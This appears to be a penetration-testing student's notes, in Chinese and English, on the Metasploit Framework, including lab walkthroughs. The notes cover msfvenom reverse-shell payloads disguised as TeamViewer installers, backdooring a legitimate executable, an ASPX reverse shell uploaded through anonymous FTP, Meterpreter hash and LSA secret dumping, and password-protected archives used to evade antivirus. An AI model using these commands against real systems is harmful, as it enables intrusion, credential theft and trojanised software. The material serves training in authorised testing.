Using the Metasploit Framework

771 阅读22分钟

Introduction

Preface

不要有隧道视野。将工具用作工具,而不是我们完整评估的支柱或生命支持。

Introduction to Metasploit

image.png

Metasploit Pro

Metasploit Framework Console

Understanding the Architecture

位置: /usr/share/metasploit-framework

image.png

Data, Documentation, Lib

Modules

Plugins

Scripts

Tools

Introduction to MSFconsole

Preparation

Launching MSFconsole

   # msfconsole
   # msfconsole -q
   
image.png

Installing MSF

# sudo apt update && sudo apt install metasploit-framework
image.png

MSF Engagement Structure

image.png

S04_SS03.png

MSF Components

Modules

Searching for Modules

# msfconsole
# help search

image.png
# search eternalromance
# search eternalromance type:exploit
# search type:exploit platform:windows cve:2021 rank:excellent microsoft

# 对于 CVE,我们可以指定年份 ( `cve:<year>`)、平台 Windows ( `platform:<os>`)、
我们要查找的模块类型 ( `type:<auxiliary/exploit/post>`)、
可靠性等级 ( `rank:<rank>`) 和搜索名称 ( `<pattern>`)。
这会将我们的结果缩减为仅符合上述所有条件的结果。
image.png image.png

Module Selection

# msf6 exploit(windows/smb/ms17_010_psexec) > setg RHOSTS 10.10.10.40 #永久目标规范(setg)

Targets

MSF-Show Targets

# show targets

Selecting a Target

image.png

保留选择Automatic将让 msfconsole 知道它需要在发起成功攻击之前对给定目标执行服务检测。

但是,如果我们知道我们的目标上运行的是什么版本,我们可以使用该set target <index no.>命令从列表中选择一个目标。

# set target 6
image.png

Target Types

Payloads

有效载荷与漏洞本身一起发送,以绕过易受攻击服务的标准功能程序 ( exploits job),然后在目标操作系统上运行,通常向攻击者返回反向连接并建立立足点 ( payload's job)。

3种payload module:

  1. Singles
  2. Stagers
  3. Stages

whether or not a payload is staged is represented by / in the payload name.

e.g.: windows/shell_bind_tcp is a single payload with no stage, whereas windows/shell/bind_tcp consists of a stager(bind_tcp) and a stage(shell)

Singles

在设计上比同类有效载荷更稳定,因为它们包含所有内容。然而,一些漏洞利用将不支持这些有效负载的最终大小,因为它们可能会变得非常大。

Stagers

Stager payloads work with Stage payloads to perform a specific task.

A Stager is waiting on the atacker machine, read to establish a connetcion to the victim host once the stage completes its run on the remote host.

Stages

Staged Payloads

Stage0 of a staged payload represents the initial shellcode sent over the network to the target machine's vulnerable service, which has the sole purpose of initializing a connection back to the attacker machine. This is what is known as a reverse connection. As a Metasploit user, we will meet these under the common names reverse_tcpreverse_https, and bind_tcp. For example, under the show payloads command, you can look for the payloads that look like the following:

MSF-Staged Payloads

# show payloads
image.png

Stage0 代码还旨在在到达后将更大的后续有效负载读入内存。在攻击者和受害者之间建立稳定的通信通道后,攻击者机器很可能会发送一个更大的有效载荷阶段,这应该授予他们 shell 访问权限。这个更大的有效载荷将是Stage1有效载荷。我们将在后面的部分中进行更详细的介绍。

Meterpreter Payload

The Meterpreter payload is a specific type of multi-faceted payload that uses DLL injection to ensure the connection to the victim host is stable, hard to detect by simple checks, and persistent across reboots or system changes.

Meterpreter 完全驻留在远程主机的内存中,不会在硬盘上留下任何痕迹,因此很难用传统的取证技术进行检测。此外,脚本和插件可以根据loaded and unloaded需要动态配置。

一旦执行了 Meterpreter 负载,就会创建一个新会话,它会生成 Meterpreter 接口。它与 msfconsole 界面非常相似,但所有可用的命令都是针对目标系统的,有效负载已“感染”该系统。它为我们提供了大量有用的命令,从击键捕获、密码哈希收集、麦克风窃听和屏幕截图到模拟进程安全令牌。

Searching for Payloads

要选择我们的第一个有效载荷,我们需要知道我们想在目标机器上做什么。例如,如果我们要访问持久化,我们可能会想要选择一个 Meterpreter 负载。

msf6 > show payloads
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter show payloads
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep -c meterpreter show payloads
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter grep reverse_tcp show payloads
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep -c meterpreter grep reverse_tcp show payloads
image.png image.png

Selecting Payloads

msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter grep reverse_tcp show payloads
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15
image.png

选择有效载荷后,我们将有更多选择。

image.png

通过show payloads在 Exploit 模块本身中运行命令,msfconsole 检测到目标是 Windows 机器,因此只显示针对 Windows 操作系统的有效载荷。

Using Payloads

image.png

MSF - Meterpreter 命令

meterpreter > help
Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of Unicode strings
    enable_unicode_encoding   Enables encoding of Unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    IRB                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    pivot                     Manage pivot listeners
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Strap: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    LCD           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    PWD           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Strap: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    get proxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of hostnames on the target
    route         View and modify the routing table


Strap: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system's local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Strap: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idle time       Returns the number of seconds the remote user has been idle
    keyboard_send  Send keystrokes
    keyevent       Send key events
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    mouse          Send mouse events
    screenshare    Watch the remote user's desktop in real-time
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Strap: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on the target system


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    get system     Attempt to elevate your privilege to that of the local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestamp Commands
========================

    Command       Description
    -------       -----------
    timestamp     Manipulate file MACE attributes

所有这些都是通过 Linux 风格的命令行轻松完成的。进一步探索,我们还看到了打开 shell 通道的选项。这将使我们进入实际的 Windows 命令行界面。

MSF - Meterpreter 导航

meterpreter > shell

image.png

在某些情况下,进入目标的标准 shell 是有帮助的

Payload Types

image.png

Encoders

Encoders它帮助使有效负载与不同的处理器架构兼容,同时帮助逃避防病毒。Encoders发挥改变有效载荷以在不同操作系统和体系结构上运行的作用。

They are also needed to remove hexadecimal opcodes known as bad characters from the payload. Not only that but encoding the payload in different formats could help with the AV detection as mentioned above. However, the use of encoders strictly for AV(Antivirus) evasion has diminished over time, as IPS/IDS manufacturers have improved how their protection software deals with signatures in malware and viruses.

Shikata Ga Nai ( SGN) 是当今最常用的编码方案之一, 但是我们将探索其他方法来规避保护系统。

关于Shikata Ga Nai的文章: www.mandiant.com/resources/b…

Selecting an Encoder

Generating Payload-Without Encoding

# msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl

image.png

Generating Payload-With Encoding

# msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai
image.png image.png

Suppose we want to select an Encoder for an existing payload. Then, we can use the show encoders command within the msfconsole to see which encoders are available for our current Exploit module + Payload combination.

# set payload 15
# show encoders
image.png

如果我们只使用 SGN 对可执行负载进行一次编码,那么它很可能会被当今的大多数防病毒软件检测到。

# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe

image.png

This will generate a payload with the exe format, called TeamViewerInstall.exe, which is meant to work on x86 architecture processors for the Windows platform, with a hidden Meterpreter reverse_tcp shell payload, encoded once with the Shikata Ga Nai scheme.

# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe
image.png

VirusTotal:

image.png

One better option would be to try running it through multiple iterations of the same Encoding scheme:

# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe

image.png

VirusTotal:

image.png

正如我们所看到的,这仍然不足以进行 AV 规避。仍有大量产品可以检测有效载荷。或者,Metasploit 提供了一个工具msf-virustotal,我们可以使用它和 API 密钥来分析我们的有效载荷。但是,这需要在 VirusTotal 上免费注册。

MSF-VirusTotal

msf-virustotal -k <API key> -f TeamViewerInstall.exe

image.png

As expected, most anti-virus products that we will encounter in the wild would still detect this payload so we would have to use other methods for AV evasion that are outside the scope of this module.

Databases

# msfdb run

Using the Database

Workspaces

We can think of Workspaces the same way we would think of folders in a project.

# msf6 > workspace
# msf6 > workspace -a Target_1 # -d是删除工作区
# msf6 > workspace Target_1 
# msf6 > workspace -h

image.png

image.png

Importing Scan Results

# cat Target.nmap
# msf6 > db_import Target.xml
# msf6 > hosts
# msf6 > services
image.png image.png

.xml文件类型首选db_import

Using Nmap Inside MSFconsole

# msf6 > db_nmap -sV -sS 10.10.10.8
# msf6 > hosts
# msf6 > services

image.png

Data Backup

# msf6 > db_export -h
# msf6 > db_export -f xml backup.xml

Other commands related to data retention are the extended use of hostsservices, and the creds and loot commands.

Plugins

Using Plugins

# ls /usr/share/metasploit-framework/plugins # 查看插件
image.png
# msf6 > load nessus # 加载插件
# nessus_help
image.png

要开始使用该插件,请开始在该特定插件的帮助菜单中发出我们可用的命令。每个跨平台集成都为我们提供了一组独特的交互,我们可以在评估期间使用这些交互,因此在使用它们之前仔细阅读每一个交互是很有帮助的,这样可以最大限度地利用它们。

Installing new Plugins

让我们尝试安装DarkOperator 的 Metasploit-Plugins

# git clone https://github.com/darkoperator/Metasploit-Plugins
# ls Metasploit-Plugins
# sudo cp ./Metasploit-Plugins/pentest.rb /usr/share/metasploit-framework/plugins/pentest.r
image.png

这里我们可以以插件pentest.rb为例,复制到/usr/share/metasploit-framework/plugins

Mixins

Metasploit 框架是用面向对象的编程语言 Ruby 编写的

MSF Sessions

Sessions & Jobs

MSFconsole 可以同时管理多个模块, this is done with the use of Sessions, which creates dedicated control interfaces for all of your deployed modules.

Using Sessions

在 msfconsole 中运行任何可用的漏洞利用或辅助模块时,只要它们形成与目标主机的通信通道,我们就可以将会话置于后台(ctrl + z)。

 # msf6 exploit(windows/smb/psexec_psh) > sessions # 查看当前活动的会话
 # msf6 exploit(windows/smb/psexec_psh) > sessions -i 1 # 打开特定会话
 

当我们想在一个已经被利用的系统上运行一个额外的模块时,这特别有用,该系统具有形成的、稳定的通信通道

Usually, these modules can be found in the post category, referring to Post-Exploitation modules. The main archetypes of modules in this category consist of credential gatherers, local exploit suggesters, and internal network scanners.

If, for example, we are running an active exploit under a specific port and need this port for a different module, we cannot simply terminate the session using [CTRL] + [C]. If we did that, we would see that the port would still be in use, affecting our use of the new module. So instead, we would need to use the jobs command to look at the currently active tasks running in the background and terminate the old ones to free up the port.

Other types of tasks inside sessions can also be converted into jobs to run in the background seamlessly, even if the session dies or disappears.

 # msf6 exploit(multi/handler) > jobs -h
 # msf6 exploit(multi/handler) > exploit -h
 

When we run an exploit, we can run it as a job by typing exploit -j

  # msf6 exploit(multi/handler) > exploit -j
  

image.png

image.png

# msf6 exploit(multi/handler) > jobs -l

image.png

# msf6 exploit(multi/handler) > kill [index no.] # 杀死特定job
# msf6 exploit(multi/handler) > job -K # 清除全部job

练习

image.png image.png
image.png
# msf6 > search elFinder

3.

image.png
  1. 先将www-data身份的shell放入session中
  2. [msf](Jobs:0 Agents:1) exploit(linux/http/elfinder_archive_cmd_injection) >> search sudo
  3. 注意local,因为此时我们已经有一个session在靶机上立足,所以选择local
image.png

关于description:

image.png image.png image.png

Meterpreter

The Meterpreter Payload is a specific type of multi-faceted, extensible Payload that uses DLL injection to ensure the connection to the victim host is stable and difficult to detect using simple checks and can be configured to be persistent across reboots or system changes. Furthermore, Meterpreter resides entirely in the memory of the remote host and leaves no traces on the hard drive, making it difficult to detect with conventional forensic techniques.

For some interesting reading, check out this post on Meterpreter stageless payloads and this post on modifying Metasploit templates for evasion.

Running Meterpreter

Stealthy

Meterpreter 在启动并到达目标后,完全驻留在内存中,不会向磁盘写入任何内容。当 Meterpreter 将自己注入到受感染的进程中时,也不会创建新进程。此外,它可以执行从一个正在运行的进程到另一个运行进程的进程迁移

Powerful

Extensible

Using Metapreter

# msf6 > db_nmap -sV -p- -T5 -A 10.10.10.15
# msf6 > hosts
# msf6 > services

image.png
# msf6 > search iis_webdav_upload_asp
# msf6 > use 0

image.png
# msf6 exploit(windows/iis/iis_webdav_upload_asp) > set RHOST 10.10.10.15
# msf6 exploit(windows/iis/iis_webdav_upload_asp) > set LHOST tun0
# msf6 exploit(windows/iis/iis_webdav_upload_asp) > run

image.png

We have our Meterpreter shell. However, take a close look at the output above. We can see a .asp file named metasploit28857905 exists on the target system at this very moment. Once the Meterpreter shell is obtained, as mentioned before, it will reside within memory. Therefore, the file is not needed, and removal was attempted by msfconsole, which failed due to access permissions. Leaving traces like these is not beneficial to the attacker and creates a huge liability.

From the sysadmin's perspective, finding files that match this name type or slight variations of it can prove beneficial to stopping an attack in the middle of its tracks. Targeting regex matches against filenames or signatures as above will not even allow an attacker to spawn a Meterpreter shell before being cut down by the correctly configured security measures.

MSF-Meterpreter Migration

# meterpreter > getuid  # ---> [-] 1055: Operation failed: Access is denied.
# ps
# steal_token 1836
# meterpreter > getuid # ---> Server username: NT AUTHORITY\NETWORK SERVICE

在尝试查看我们在哪个用户上运行时,我们收到一条访问被拒绝的消息。我们应该尝试将我们的进程迁移到具有更多权限的用户。

image.png

现在我们已经在系统中至少建立了一些权限级别,是时候升级该权限了。因此,我们四处寻找任何有趣的东西,并在该C:\Inetpub\位置找到一个有趣的文件夹,名为AdminScripts. 然而,不幸的是,我们无权阅读其中的内容。

image.png

MSF-Session Handling

# meterpreter > bg # 与ctl+z一个效果,存为session
# search local_exploit_suggester

image.png image.png

Running the reocon module presents us with a multitude of options. Going through each seperate one, we land on the ms15_051_client_copy_image entry, which proves to be successful. This exploit lands us directly with a root shell, giving us total control over the target system.

MSF-Privilege Escalation

image.png image.png

从这里开始,我们可以继续使用 Meterpreter 的大量功能。例如,提取哈希值、模拟我们想要的任何进程等等。

MSF-Dumping Hashes

# meterpreter > hashdump
# meterpreter > lsa_dump_sam

image.png image.png

MSF-Meterpreter LSA Secrets Dump

# meterpreter > lsa_dump_secrets
image.png

From this point, if the machine was connected to a more extensive network, we could use this loot to pivot through the system, gain access to internal resources and impersonate users with a higher level of access if the overall security posture of the network is weak.

练习

image.png

什么信息都没告诉

# sudo msfdb run
# [msf](Jobs:0 Agents:0) >> db_nmap -sV -p- -T5 -A 10.129.212.144
image.png
# [msf](Jobs:0 Agents:0) >> search FortiLogger
# (Meterpreter 1)(C:\Windows) > lsa_dump_sam      # [-] The "lsa_dump_sam" command requires the "kiwi" extension to be loaded (run: `load kiwi`)
# (Meterpreter 1)(C:\Windows) > load kiwi
# (Meterpreter 1)(C:\Windows) > lsa_dump_sam

image.png

大概就是先通过端口扫描找到一些端口服务,比如看到了http服务,然后便试着访问web页面,就从网页的source code中找到了网页应用的web applicaiton,然后在MSF上search该web application即可

Additional Features

Writing & Importing Modules

To install any new Metasploit modules which have already been ported over by other users, one can choose to update their msfconsole from the terminal, which will ensure that all newest exploits, auxiliaries, and features will be installed in the latest version of msfconsole.

However, if we need only a specific module and do not want to perform a full upgrade, we can download that module and install it manually. We will focus on searching ExploitDB for readily available Metasploit modules, which we can directly import into our version of msfconsole locally.

在搜索自定义漏洞时,ExploitDB是一个不错的选择。

image.png

MSF - Search for Exploits

# msf6 > search nagios

如果我们不想使用我们的网络浏览器在 ExploitDB 中搜索特定的漏洞,我们可以使用 CLI 版本:searchsploit

searchsploit是ExploitDB的CLI版本嘛?

# searchsploit nagios3
image.png

Note that the hosted file terminations that end in .rb are Ruby scripts that most likely have been crafted specifically for use within msfconsole. We can also filter only by .rb file terminations to avoid output from scripts that cannot run within msfconsole. Note that not all .rb files are automatically converted to msfconsole modules. Some exploits are written in Ruby without having any Metasploit module-compatible code in them. We will look at one of these examples in the following sub-section.

# searchsploit -t Nagios3 --exclude=".py"
image.png

We have to download the .rb file and place it in the correct directory. The default directory where all the modules, scripts, plugins, and msfconsole proprietary files are stored is /usr/share/metasploit-framework. The critical folders are also symlinked in our home and root folders in the hidden ~/.msf4/ location.

MSF - Directory Structure

image.png image.png

MSF - Loading Additional Modules at Runtime

# cp ~/Downloads/9861.rb /usr/share/metasploit-framework/modules/exploits/unix/webapp/nagios3_command_injection.rb
# msfconsole -m /usr/share/metasploit-framework/modules/

MSF - Loading Additional Modules

# msf6> loadpath /usr/share/metasploit-framework/modules/

Alternatively, we can also launch msfconsole and run the reload_all command for the newly installed module to appear in the list. After the command is run and no errors are reported, try either the search [name] function inside msfconsole or directly with the use [module-path] to jump straight into the newly installed module.

# msf6 > reload_all
# msf6 > use exploit/unix/webapp/nagios3_command_injection 
# msf6 exploit(unix/webapp/nagios3_command_injection) > show options

Now we are ready to launch it against our target.

Porting Over Scripts into Metasploit Modules

To adapt a custom Python, PHP, or any type of exploit script to a Ruby module for Metasploit, we will need to learn the Ruby programming language. Note that Ruby modules for Metasploit are always written using hard tabs.

Writing Our Module

Introduction to MSFVenom

MSFVenom是MSFPayload与MSFEncode的结合

如今,AV 规避部分要复杂得多,因为仅基于签名的恶意文件分析已成为过去。Heuristic analysis, machine learning, and deep packet inspection使有效负载更难通过编码方案的几个后续迭代来逃避任何好的 AV 软件。如Payloads Module中所示,提交具有上述相同配置的简单有效载荷产生的命中率为52/65. 就全球恶意软件分析师而言,这就是宾果游戏。

Creating Our Payloads

😷一个例子:

Let's suppose we have found an open FTP port that either had weak credentials or was open to Anonymous login by accident. Now, suppose that the FTP server itself is linked to a web service running on port tcp/80 of the same machine and that all of the files found in the FTP root directory can be viewed in the web-service's /uploads directory. Let's also suppose that the web service does not have any checks for what we are allowed to run on it as a client.

Suppose we are hypothetically allowed to call anything we want from the web service. In that case, we can upload a PHP shell directly through the FTP server and access it from the web, triggering the payload and allowing us to receive a reverse TCP connection from the victim machine.

Scanning the Target

# nmap -sV -T4 -p- 10.10.10.5

image.png

FTP Anonymous Access

# ftp 10.10.10.5
# Name (10.10.10.5:root): anonymous
# Password: ******
# ftp> ls
image.png image.png

Generating Payload

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=1337 -f aspx > reverse_shell.aspx
image.png image.png

然后通过 FTP 服务器上传reverse_shell.aspx

Now, we only need to navigate to http://10.10.10.5/reverse_shell.aspx, and it will trigger the .aspx payload. Before we do that, however, we should start a listener on msfconsole so that the reverse connection request gets caught inside it.

MSF - Setting Up Multi/Handler

# msfconsole -q
# msf6 > use multi/handler
# msf6 exploit(multi/handler) > show options

image.png

Executing the Payload

image.png

image.png

如果 Meterpreter 会话死得太频繁,我们可以考虑对其进行编码以避免在运行时出错。我们可以选择任何可行的编码器,无论如何它最终都会提高我们成功的机会。

Local Exploit Suggester

As a tip, there is a module called the Local Exploit Suggester. We will be using this module for this example, as the Meterpreter shell landed on the IIS APPPOOL\Web user, which naturally does not have many permissions. Furthermore, running the sysinfo command shows us that the system is of x86 bit architecture, giving us even more reason to trust the Local Exploit Suggester.

# msf6 > search local exploit suggester
# msf6 exploit(multi/handler) > use 2376
# msf6 post(multi/recon/local_exploit_suggester) > show options
image.png

MSF - Local Privilege Escalation

image.png

Firewall and IDS/IPD evasion

To better learn how we can efficiently and quietly attack a target, we first need to understand better how that target is defended. We are introduced to two new terms:

  • Endpoint protection
  • Perimeter protection

Endpoint protection

Endpoint protection指任何本地化设备或服务,其唯一目的是保护网络上的单个主机。主机可以是个人计算机、公司工作站或网络非军事区 (De-Militarized Zone DMZ) 中的服务器。

端点保护通常以软件包的形式出现,其中包括Antivirus ProtectionAntimalware Protection(这包括英国媒体报道软件、间谍软件、广告软件、恐吓软件、勒索软件),Firewall以及Anti-DDOS所有这些都在同一个软件包中。我们比后者更熟悉这种形式,因为我们大多数人都在家里的 PC 或工作场所的工作站上运行端点保护软件。Avast、Nod32、Malwarebytes 和 BitDefender 只是一些当前名称。

Perimeter protection

Perimeter protection通常出现在网络外围边缘的物理或虚拟设备中

Security Policies

They are essentially a list of allow and deny statements that dictate how traffic or files can exist within a network boundary.

  • Network Traffic Policies
  • Application Policies
  • User Access Control Policies
  • File Management Policies
  • DDoS Protection Policies
  • Others
image.png

Evasion Techniques

现在大多数基于主机的防病毒软件主要依赖于Signature-based Detection识别软件样本中存在的恶意代码的各个方面。这些签名放置在防病毒引擎内,随后用于扫描存储空间和正在运行的进程以查找任何匹配项。当一个未知软件登陆分区并被防病毒软件匹配时,大多数防病毒软件会隔离恶意程序并杀死正在运行的进程。

Encoders中显示的示例表明,对于所有 AV 产品,仅使用不同的编码方案和多次迭代对有效载荷进行编码是不够的。此外,仅在攻击者和受害者之间建立一个通信通道,现有的 IDS/IPS 产品的当前功能就会发出一些警报。

然而,随着 MSF6 版本的发布,msfconsole 可以将 AES 加密的通信从任何 Meterpreter shell 隧道传输回攻击者主机,从而在有效负载发送到受害主机时成功加密流量。这主要用于处理基于网络的 IDS/IPS。在极少数情况下,我们可能会遇到非常严格的流量规则集,这些规则集会根据发件人的 IP 地址标记我们的连接。避免这种情况的唯一方法是找到允许通过的服务。

回到 msfconsole,它现在支持 AES 加密隧道的能力,加上 Meterpreter 在内存中运行的特性,大大提高了我们的能力。然而,我们仍然有一个问题,即有效载荷一旦到达目的地,在运行并放入内存之前会发生什么。IDS/IPS可以对该文件的签名进行指纹识别,与数据库进行匹配,并阻止我们访问目标的机会。我们还可以确定,AV 软件开发人员正在研究 msfconsole 模块和功能,以将生成的代码和文件添加到他们的签名数据库中,从而导致大多数(如果不是全部)默认有效负载立即被 AV 软件关闭。

我们很幸运,因为msfvenom提供了使用可执行模板的选项。这允许我们为可执行文件使用一些预设模板,将我们的有效载荷注入其中(没有双关语意),并使用可执行文件作为我们可以发起攻击的平台。我们可以将 shellcode 嵌入到我们手边的任何安装程序、软件包或程序中,将有效负载 shellcode 隐藏在实际产品的合法代码深处。这极大地混淆了我们的恶意代码,更重要的是,降低了我们被检测到的机会。实际的、合法的可执行文件、我们不同的编码方案(及其迭代)和我们不同的有效负载 shellcode 变体之间有许多有效组合。这会生成所谓的后门可执行文件。

查看下面的代码片段,了解 msfvenom 如何将有效载荷嵌入到任何可执行文件中:

# msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 -k -x ~/Downloads/TeamViewer_Setup.exe -e x86/shikata_ga_nai -a x86 --platform windows -o ~/Desktop/TeamViewer_Setup.exe -i 5

大多数情况下,当目标启动后门可执行文件时,似乎什么也不会发生,这在某些情况下会引起怀疑。为了提高我们的机会,我们需要触发已启动应用程序的正常执行的继续,同时将有效负载从主应用程序拉到一个单独的线程中。我们使用上面的-k标志来执行此操作。

Archives

存档文件、文件夹、脚本、可执行文件、图片或文档等信息并在存档上放置密码可绕过当今许多常见的反病毒签名。但是,此过程的缺点是它们将作为通知在 AV 警报仪表板中提出,因为由于被密码锁定而无法扫描。管理员可以选择手动检查这些档案以确定它们是否是恶意的。

# msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 -k -e x86/shikata_ga_nai -a x86 --platform windows -o ~/test.js -i 5
# cat test.js

image.png image.png

如果我们检查 VirusTotal 以从我们生成的有效负载中获取检测基线,结果将如下所示。

VirusTotal

image.png

现在,尝试将其存档两次,在创建时为两个存档都设置密码,并从它们的名称中删除.rar.zip/.7z扩展名。为此,我们可以从 RARLabs安装RAR 实用程序,它的工作方式与 Windows 上的 WinRAR 完全一样。

#  wget https://www.rarlab.com/rar/rarlinux-x64-612.tar.gz
# tar -xzvf rarlinux-x64-612.tar.gz && cd rar
# rar a ~/test.rar -p ~/test.js
image.png
# mv test.rar test
# rar a test2.rar -p test
# mv test2.rar test2

test2 文件是最终的 .rar 存档文件,其扩展名 (.rar) 从名称中删除

image.png

Metasploit-Framework Updates-August 2020